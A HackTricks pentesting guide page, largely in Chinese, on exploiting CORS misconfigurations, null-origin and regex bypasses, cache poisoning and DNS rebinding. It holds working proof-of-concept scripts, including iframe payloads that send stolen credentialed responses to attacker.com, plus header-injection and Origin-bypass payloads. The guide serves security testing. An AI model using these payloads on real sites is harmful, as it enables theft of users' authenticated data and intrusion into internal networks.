CORS - Misconfigurations & Bypass
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。
What is CORS?
Cross-Origin Resource Sharing (CORS) standard 使服务器能够定义谁可以访问它们的资源,以及哪些 HTTP request methods 被允许从外部来源发起。
A same-origin policy 规定,请求资源的server和托管resource的 server 必须共享相同的 protocol(例如 http://)、domain name(例如 internal-web.com)以及port(例如 80)。在此 policy 下,只有来自相同 domain 和 port 的 web pages 才被允许访问这些 resources。
same-origin policy 在 http://normal-website.com/example/example.html 场景中的应用如下:
| URL accessed | Access permitted? |
|---|---|
http://normal-website.com/example/ | Yes: Identical scheme, domain, and port |
http://normal-website.com/example2/ | Yes: Identical scheme, domain, and port |
https://normal-website.com/example/ | No: Different scheme and port |
http://en.normal-website.com/example/ | No: Different domain |
http://www.normal-website.com/example/ | No: Different domain |
http://normal-website.com:8080/example/ | No: Different port* |
*Internet Explorer 在执行 same-origin policy 时会忽略 port number,因此允许此访问。
Access-Control-Allow-Origin Header
这个 header 可以允许多个 origins、null 值,或者 wildcard *。不过,没有浏览器支持多个 origins,并且 wildcard * 的使用受限制。(wildcard 必须单独使用,且不能与 Access-Control-Allow-Credentials: true 一起使用。)
这个 header 是由 server 发出的,用于响应网站发起的 cross-domain resource request,浏览器会自动添加 Origin header。
Access-Control-Allow-Credentials Header
默认情况下,cross-origin requests 在发起时不会携带 cookies 或 Authorization header 这类 credentials。However,cross-domain server 可以通过设置 Access-Control-Allow-Credentials header 为 true 来允许在发送 credentials 时读取 response。
如果设为 true,浏览器将传输 credentials(cookies、authorization headers 或 TLS client certificates)。
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")
CSRF Pre-flight request
理解 Cross-Domain Communication 中的 Pre-flight Requests
当在特定条件下发起 cross-domain request,例如使用 non-standard HTTP method(除 HEAD、GET、POST 之外的任何方法)、引入新的 headers,或者使用特殊的 Content-Type header value 时,可能需要一个 pre-flight request。这个预先请求使用 OPTIONS method,用于向 server 说明即将到来的 cross-origin request 的意图,包括它计划使用的 HTTP methods 和 headers。
Cross-Origin Resource Sharing (CORS) protocol 要求进行这个 pre-flight 检查,以通过验证允许的 methods、headers 以及 origin 的可信度,来判断所请求的 cross-origin 操作是否可行。关于哪些条件可以避免需要 pre-flight request,请参阅 Mozilla Developer Network (MDN) 提供的完整指南。
需要特别注意的是,没有 pre-flight request 并不意味着 response 不需要携带 authorization headers。如果没有这些 headers,browser 就无法处理来自 cross-origin request 的 response。
请看下面这个 pre-flight request 的示例,它旨在使用 PUT method,并带有一个名为 Special-Request-Header 的自定义 header:
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
作为响应,服务器可能会返回指示已接受方法、允许的 origin 以及其他 CORS policy 细节的 headers,如下所示:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Access-Control-Allow-Headers: 这个 header 指定在实际请求期间可以使用哪些 headers。它由 server 设置,用于表示客户端请求中允许的 headers。Access-Control-Expose-Headers: 通过这个 header,server 会通知客户端,除了 simple response headers 之外,哪些 headers 可以作为 response 的一部分被暴露。Access-Control-Max-Age: 这个 header 表示 pre-flight request 的结果可以被缓存多久。server 设置 pre-flight request 返回的信息可被重用的最大时间,单位是秒。Access-Control-Request-Headers: 用于 pre-flight requests,这个 header 由客户端设置,用来通知 server 客户端想在实际请求中使用哪些 HTTP headers。Access-Control-Request-Method: 这个 header 也用于 pre-flight requests,由客户端设置,用来指示实际请求将使用哪个 HTTP method。Origin: 这个 header 会被 browser 自动设置,并指示 cross-origin request 的 origin。server 使用它来评估是否应根据 CORS policy 允许或拒绝传入请求。
注意,通常情况下(取决于 content-type 和设置的 headers),在 GET/POST request 中不会发送 pre-flight request(请求会直接发送),但如果你想访问 response 的 headers/body,它必须包含允许它的 Access-Control-Allow-Origin header。
因此,CORS 不能防御 CSRF(但它可能有帮助)。
Local Network Requests Pre-flight request
现代 browsers 和当前 Private Network Access (PNA) 草案在 preflight 中使用 header Access-Control-Request-Private-Network: true,并在 response 中使用 Access-Control-Allow-Private-Network: true。较早的文章和 PoC 可能仍然提到 Local-Network header 名称,但对于当前测试,你应该预期使用 Private-Network 变体。
一个允许 local network request 的有效 response 也需要包含 Access-Control-Allow-Private-Network: true:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...
preflight request 将类似于:
OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true
Note
Chrome 的 PNA rollout 在 2024 年期间发生了多次变化。截至 2024 年 10 月 9 日,Chrome 文档指出由于兼容性问题,PNA preflights 已被暂停,而 secure-context 限制仍然存在。因此,请继续同时测试 符合 spec 的 preflight flow 和较旧的 “在实践中可用,因为 enforcement 不完整” 行为。
Warning
注意,linux 的 0.0.0.0 IP 可以用来 bypass 这些要求并访问 localhost,因为该 IP 地址不被视为“local”。
Chrome 还说明
0.0.0.0/8现在被视为 Private Network Access 的一部分,因此这个技巧取决于 browser/version,需要重新测试,而不要直接假设可用。如果你使用 本地端点的 public IP 地址(比如路由器的 public IP),也有可能 bypass Local Network requirements。因为在某些情况下,即使访问的是 public IP,如果请求 来自 local network,访问仍会被允许。
Wildcards
注意,即使下面的 configuration 看起来非常 permissive:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
这是浏览器不允许的,因此凭据不会随请求一起发送,按这种方式也就无法获利。
可利用的错误配置
已经观察到,将 Access-Control-Allow-Credentials 设置为 true 是大多数 real attacks 的前提。这个设置允许浏览器发送凭据并读取响应,从而增强攻击效果。没有它,相比自己直接发起请求,让浏览器代发请求的优势就会大大降低,因为利用用户的 cookies 变得不可行。
例外:利用网络位置作为认证
存在一种例外情况:受害者的网络位置本身充当一种认证形式。这允许将受害者的浏览器作为代理,绕过基于 IP 的认证来访问 intranet 应用程序。这种方法在影响上与 DNS rebinding 有相似之处,但更容易利用。
在 Access-Control-Allow-Origin 中反射 Origin
在现实场景中,Origin 头的值被反射到 Access-Control-Allow-Origin 里,从理论上看并不常见,因为这些头部的组合受到限制。不过,想要为多个 URL 启用 CORS 的开发者,可能会通过复制 Origin 头的值来动态生成 Access-Control-Allow-Origin 头。这种做法会引入漏洞,尤其是在攻击者使用一个名称看起来很合法的域名时,从而欺骗验证逻辑。
<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>
利用 null Origin
null Origin,通常用于重定向或本地 HTML 文件等场景,具有独特地位。一些应用会将这个 origin 加入白名单,以便于本地开发,但这会无意中允许任何网站通过 sandboxed iframe 伪装成 null origin,从而绕过 CORS 限制。
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
正则表达式绕过技巧
当遇到 domain whitelist 时,务必测试 bypass 机会,例如把攻击者的 domain 追加到一个已加入白名单的 domain 后面,或者利用 subdomain takeover 漏洞。此外,用于 domain 验证的 regular expressions 可能会忽略 domain 命名约定中的细微差异,从而带来更多 bypass 机会。
高级正则表达式绕过
Regex 模式通常主要关注字母数字、点号 (.) 和连字符 (-) 字符,而忽略了其他可能性。例如,一个精心构造、包含会被 browser 和 regex 模式以不同方式解释的字符的 domain name,可以绕过安全检查。Safari、Chrome 和 Firefox 对 subdomain 中下划线字符的处理,说明了这种差异如何被利用来绕过 domain validation 逻辑。
有关此 bypass 检查的更多信息和设置: https://www.corben.io/advanced-cors-techniques/ 以及 https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
.png)
来自 subdomain 内的 XSS
开发者通常会实现防御机制,通过对允许请求信息的 domain 进行白名单管理来防止 CORS exploitation。尽管有这些措施,系统的安全并非万无一失。即使在已列入白名单的 domains 中只存在一个存在漏洞的 subdomain,也可能通过其他漏洞(如 XSS(Cross-Site Scripting))为 CORS exploitation 打开大门。
举例来说,假设 domain requester.com 被加入白名单,可以访问来自另一个 domain provider.com 的资源。服务端配置可能大致如下:
if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}
在这种设置中,requester.com 的所有子域都被允许访问。然而,如果某个子域,比如 sub.requester.com,存在 XSS 漏洞并被攻破,攻击者就可以利用这个弱点。例如,拥有 sub.requester.com 访问权的攻击者可以利用该 XSS 漏洞绕过 CORS policy,并恶意访问 provider.com 上的资源。
Special Characters
PortSwigger 的 URL validation bypass cheat sheet 发现,一些 browser 在 domain names 中支持奇怪的字符。
Chrome 和 Firefox 支持下划线 _,这可以绕过用于验证 Origin header 的 regexes:
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
Safari 在接受域名中的特殊字符方面甚至更宽松:
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
PortSwigger 的 cheat sheet 最近更新了更多面向 Safari 的 domain splitting payloads,在目标使用 regex 或自制 URL parser 验证 Origin header 时很值得 fuzzing:
https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/
这些在后端只检查所提供的 origin 是否 以 可信 hostname 开头 或 包含 可信 hostname 时很有用,而浏览器仍然会把攻击者控制的后缀视为有效的 origin 边界。
另外也要记住,现代的 origin fuzzing 不应只停留在 hostname 后缀上。当前的 PortSwigger cheat sheet 包含以下 payload families:
- Domain allow-list bypasses: 攻击者控制的 domains,仍然能满足天真的前缀/后缀/子串检查。
- Fake-relative absolute URLs: 浏览器合法的 absolute URLs,但应用代码可能会把它们解析成相对路径。
- Loopback/IP normalizations: 当 CORS 逻辑试图通过字符串比较来阻止
localhost、127.0.0.1或 cloud metadata endpoints 时,可用的 IPv4/IPv6 替代表达形式。
Other funny URL tricks
Server-side cache poisoning
通过 HTTP header injection 利用 server-side cache poisoning,有可能诱发 stored Cross-Site Scripting (XSS) 漏洞。当应用没有对 Origin header 中的非法字符做清理时,就会出现这种情况,这对 Internet Explorer 和 Edge 用户尤其危险。这些 browsers 会把 (0x0d) 视为合法的 HTTP header 终止符,从而导致 HTTP header injection 漏洞。
考虑以下请求,其中 Origin header 被篡改:
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer 和 Edge 将响应解释为:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
虽然直接通过让 web browser 发送一个畸形 header 来利用这个漏洞不可行,但可以使用 Burp Suite 之类的工具手动生成一个精心构造的 request。这个方法可能导致 server-side cache 保存 response,并在之后意外地把它提供给其他人。这个构造的 payload 旨在把页面的 character set 改为 UTF-7,这是一种常与 XSS vulnerabilities 相关的 character encoding,因为它能够把字符编码成在某些上下文中可作为 script 执行的形式。
关于 stored XSS vulnerabilities 的进一步阅读,请见 PortSwigger。
Note: HTTP header injection vulnerabilities 的利用,尤其是通过 server-side cache poisoning,强调了验证和清理所有用户提供输入的关键重要性,包括 HTTP headers。始终采用包含 input validation 的稳健 security model,以防止此类漏洞。
Client-Side cache poisoning
在这个场景中,观察到一个 web page 会在没有正确 encoding 的情况下反射自定义 HTTP header 的内容。具体来说,web page 会回显包含在 X-User-id header 中的内容,这其中可能包含恶意 JavaScript,就像示例中那样:header 包含一个 SVG image tag,设计为在加载时执行 JavaScript code。
Cross-Origin Resource Sharing (CORS) policies 允许发送 custom headers。然而,由于受到 CORS restrictions 的限制,response 无法被 browser 直接渲染,因此这种 injection 的实用性看起来可能有限。关键点出现在考虑 browser 的 cache 行为时。如果没有指定 Vary: Origin header,那么恶意 response 就有可能被 browser 缓存。随后,当直接导航到该 URL 时,这个已缓存的 response 可能会被直接渲染,从而绕过最初 request 时对直接渲染的需求。这个机制通过利用 client-side caching 提高了攻击的可靠性。
为说明这种攻击,下面提供了一个 JavaScript 示例,设计为在 web page 的环境中执行,例如通过 JSFiddle。这个 script 执行一个简单动作:它向指定 URL 发送一个带有 custom header 的 request,其中包含恶意 JavaScript。request 成功完成后,它会尝试导航到目标 URL,如果 response 在没有正确处理 Vary: Origin header 的情况下被缓存,则可能触发注入 script 的执行。
下面是用于执行该攻击的 JavaScript 的摘要说明:
<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>
绕过
XSSI (Cross-Site Script Inclusion) / JSONP
XSSI,也称为 Cross-Site Script Inclusion,是一种利用 script 标签引入资源时 Same Origin Policy (SOP) 不适用这一事实的漏洞。这是因为脚本需要能够从不同域被引入。这个漏洞允许攻击者访问并读取任何通过 script 标签引入的内容。
当涉及动态 JavaScript 或 JSONP (JSON with Padding) 时,这个漏洞尤其重要,特别是在使用像 cookies 这样的 ambient-authority 信息进行认证时。当请求来自不同主机的资源时,cookies 会被包含在内,从而可被攻击者访问。
为了更好地理解和缓解这个漏洞,你可以使用 BurpSuite 插件 https://github.com/kapytein/jsonp。这个插件可以帮助识别并处理 web applications 中潜在的 XSSI 漏洞。
尝试在请求中添加一个 callback parameter。也许页面已经准备好以 JSONP 方式返回数据。在这种情况下,页面会返回 Content-Type: application/javascript 的数据,这将绕过 CORS policy。
.png)
简单(无用?)绕过
绕过 Access-Control-Allow-Origin 限制的一种方法,是让 web application 代表你发起请求并返回响应。然而,在这种场景下,最终受害者的凭证不会被发送,因为请求是发往不同的域。
- CORS-escape: 这个工具提供了一个 proxy,它会转发你的请求及其 headers,同时伪造 Origin header 以匹配请求的 domain。这实际上绕过了 CORS policy。下面是一个使用 XMLHttpRequest 的示例:
- simple-cors-escape: 这个工具提供了另一种 request proxying 方法。它不是原样转发你的请求,而是由 server 使用指定的参数发起自己的请求。
Iframe + Popup 绕过
你可以通过 创建一个 iframe 并 从中打开一个新窗口 来 绕过 CORS checks,例如 e.origin === window.origin。更多信息见下页:
通过 TTL 的 DNS Rebinding
通过 TTL 的 DNS rebinding 是一种通过操纵 DNS records 来绕过某些安全措施的技术。工作方式如下:
- 攻击者创建一个 web page 并让受害者访问它。
- 然后攻击者把自己的 domain 的 DNS (IP) 改为指向受害者的 web page。
- 受害者的 browser 会缓存 DNS response,其中可能包含一个 TTL (Time to Live) 值,表示该 DNS record 应被视为有效的时长。
- 当 TTL 过期时,受害者的 browser 会发起新的 DNS request,从而允许攻击者在受害者的 page 上执行 JavaScript code。
- 通过持续控制受害者的 IP,攻击者可以从受害者那里收集信息,而无需向受害者 server 发送任何 cookies。
需要注意的是,browser 具有缓存机制,即使 TTL 值很低,也可能阻止这种技术被立即滥用。
DNS rebinding 可用于绕过受害者执行的显式 IP checks,或用于用户或 bot 在同一 page 上停留较长时间、从而让 cache 过期的场景。
如果你需要一个快速滥用 DNS rebinding 的方法,可以使用诸如 https://lock.cmpxchg8b.com/rebinder.html 的服务。
要运行你自己的 DNS rebinding server,你可以使用 DNSrebinder (https://github.com/mogwailabs/DNSrebinder) 之类的工具。这需要暴露本地的 53/udp 端口,创建一个指向它的 A record(例如,ns.example.com),并创建一个指向之前创建的 A subdomain 的 NS record(例如,ns.example.com)。之后,ns.example.com subdomain 的任何子域名都会由你的 host 解析。
你也可以访问一个公开运行的 server http://rebind.it/singularity.html 来进一步理解和实验。
通过 DNS Cache Flooding 的 DNS Rebinding
通过 DNS cache flooding 的 DNS rebinding 是另一种用于绕过 browser 缓存机制并强制发起第二次 DNS request 的技术。工作方式如下:
- 最初,当受害者发起 DNS request 时,返回的是攻击者的 IP address。
- 为了绕过缓存防御,攻击者利用一个 service worker。service worker 会 flood DNS cache,从而有效删除缓存中的攻击者 server name。
- 当受害者的 browser 发起第二次 DNS request 时,返回的是 IP address 127.0.0.1,通常表示 localhost。
通过 service worker 对 DNS cache 进行 flood,攻击者可以操控 DNS resolution 过程,并强制受害者的 browser 发起第二次 request,此时解析到攻击者想要的 IP address。
通过 Cache 的 DNS Rebinding
绕过缓存防御的另一种方法,是在 DNS provider 中为同一个 subdomain 使用多个 IP addresses。工作方式如下:
- 攻击者在 DNS provider 中为同一个 subdomain 配置两个 A records(或者一个包含两个 IPs 的单个 A record)。
- 当 browser 检查这些 records 时,会收到两个 IP addresses。
- 如果 browser 决定先使用攻击者的 IP address,攻击者可以提供一个执行 HTTP requests 到同一 domain 的 payload。
- 然而,一旦攻击者获得受害者的 IP address,他们就停止响应受害者的 browser。
- 受害者的 browser 在发现 domain 无响应后,会继续使用第二个给定的 IP address。
- 通过访问第二个 IP address,browser 绕过了 Same Origin Policy (SOP),使攻击者能够滥用这一点并收集和 exfiltrate 信息。
这种技术利用了当一个 domain 提供多个 IP addresses 时 browser 的行为。通过策略性地控制响应并操纵 browser 对 IP address 的选择,攻击者可以利用 SOP 并访问受害者的信息。
Warning
注意,为了访问 localhost,你应该尝试在 Windows 中 rebinding 127.0.0.1,在 linux 中 rebinding 0.0.0.0。
像 godaddy 或 cloudflare 这样的 provider 不允许我使用 ip 0.0.0.0,但 AWS route53 允许我创建一个包含 2 个 IPs 的 A record,其中一个是 “0.0.0.0”![]()
更多信息可查看 https://unit42.paloaltonetworks.com/dns-rebinding/
其他常见绕过
- 如果 internal IPs 不被允许,它们可能 忘了禁止 0.0.0.0(在 Linux 和 Mac 上有效)
- 如果 internal IPs 不被允许,返回一个指向 localhost 的 CNAME(在 Linux 和 Ma
- 如果 internal IPs 不被允许 作为 DNS responses,你可以返回指向内部服务的 CNAMEs,例如 www.corporate.internal。
DNS Rebidding Weaponized
你可以在演讲 Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference 中找到关于前述绕过技术以及如何使用以下工具的更多信息。
Singularity of Origin 是一个用于执行 DNS rebinding attacks 的工具。它包含了将 attack server DNS name 的 IP address rebinding 到 target machine 的 IP address,以及向 target machine 上易受攻击的软件提供 attack payloads 所需的必要组件。
通过 DNS-over-HTTPS (DoH) 的 DNS Rebinding
DoH 本质上只是把经典的 RFC1035 DNS wire format 封装在 HTTPS 里(通常是一个带 Content-Type: application/dns-message 的 POST)。resolver 仍然会返回相同的 resource records,因此即使 browser 通过 TLS 解析 attacker-controlled hostname,破坏 SOP 的技术仍然有效。
关键观察
- Chrome (Windows/macOS) 和 Firefox (Linux) 在配置为 Cloudflare、Google 或 OpenDNS DoH resolvers 时都能成功 rebinding。传输加密既不会延迟也不会阻止 first-then-second、multiple-answers 或 DNS cache flooding 策略的 attack-flow。
- Public resolvers 仍然能看到每个 query,但它们很少强制执行 browser 必须遵守的 host-to-IP mapping。一旦 authoritative server 返回 rebinding sequence,browser 会在连接到新 IP 时保留原始 origin tuple。
DoH 上的 Singularity 策略与时序
- First-then-second 仍然是最可靠的选项:第一次 lookup 返回提供 payload 的攻击者 IP,之后的每次 lookup 都返回 internal/localhost IP。使用典型的 browser DNS caches,这会在约 40–60 秒内切换流量,即使 recursive resolver 只能通过 HTTPS 访问也是如此。
- Multiple answers (fast rebinding) 仍然可以在 <3 秒 内到达 localhost:通过同时返回两个 A records(攻击者 IP + Linux/macOS 上的
0.0.0.0或 Windows 上的127.0.0.1),并在 page 加载后不久以程序方式将第一个 IP blackhole(例如,iptables -I OUTPUT -d <attacker_ip> -j DROP)。Firefox 的 DoH 实现可能会发出重复的 DNS queries,因此 Singularity 的修复方法是根据 第一次 query 的时间戳来安排 firewall rule,而不是在每次 query 时刷新计时器。
在 DoH providers 中击败 “rebind protection”
- 一些 provider(例如 NextDNS)会将 private/loopback answers 替换为
0.0.0.0,但 Linux 和 macOS 会很乐意把该目的地路由到本地服务。因此,刻意将0.0.0.0作为第二条 record 返回,仍然可以把 origin 切换到 localhost。 - 仅过滤直接的 A/AAAA response 是无效的:返回一个指向仅内部可见 hostname 的 CNAME 会让 public DoH resolver 转发该别名,而 Firefox 等 browser 会回退到系统 DNS 解析 internal zone,最终解析到一个 private IP,而它仍会被视为 attacker origin。
browser-specific DoH 行为
- Firefox DoH 以 fallback mode 运行:任何 DoH failure(包括未解析的 CNAME target)都会触发通过 OS resolver 的明文 lookup,通常这是一个知道 internal namespace 的 enterprise DNS server。正是这种行为使得在 corporate networks 内部 CNAME bypass 可靠。
- Chrome DoH 只在 OS DNS 指向白名单内支持 DoH 的 recursive resolver(Cloudflare、Google、Quad9 等)时才激活,并且不会提供相同的 fallback chain。只存在于 corporate DNS 中的 internal hostnames 因此无法解析,但朝向 localhost 或任何可路由地址的 rebinding 仍然成功,因为攻击者控制了整个 response set。
测试和监控 DoH flows
- Firefox:
Settings ➜ Network Settings ➜ Enable DNS over HTTPS并提供 DoH endpoint(Cloudflare 和 NextDNS 已内置)。Chrome/Chromium:启用chrome://flags/#dns-over-https,并将 OS DNS servers 配置为 Chrome 支持的 resolver 之一(例如1.1.1.1/1.0.0.1)。 - 你可以直接查询 public DoH APIs,例如
curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq,以确认 browser 会缓存的确切 records。 - 在 Burp/ZAP 中拦截 DoH 仍然有效,因为它本质上就是 HTTPS(body 中的二进制 DNS payload)。对于 packet-level inspection,在启动 browser 之前导出 TLS keys(
export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt),然后让 Wireshark 使用dnsdisplay filter 解密 DoH sessions,以查看 browser 何时保持使用 DoH 或回退到经典 DNS。
DNS Rebinding 的真实防护
- 在 internal services 中使用 TLS
- 访问数据时要求认证
- 验证 Host header
- https://wicg.github.io/private-network-access/: 提议当 public servers 想访问 internal servers 时始终发送 pre-flight request
工具
Fuzz 可能存在的 CORS policies 配置错误
- https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8
- https://portswigger.net/bappstore/c257bcb0b6254a578535edb2dcee87d0
- https://github.com/chenjj/CORScanner
- https://github.com/lc/theftfuzzer
- https://github.com/s0md3v/Corsy
- https://github.com/Shivangx01b/CorsMe
- https://github.com/omranisecurity/CorsOne
References
- https://portswigger.net/web-security/cors
- https://portswigger.net/web-security/cors/access-control-allow-origin
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS
- https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
- https://www.codecademy.com/articles/what-is-cors
- https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors
- https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration
- https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b
- NCC Group - Impact of DNS over HTTPS (DoH) on DNS Rebinding Attacks
- https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet
- https://developer.chrome.com/blog/pna-on-hold
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。


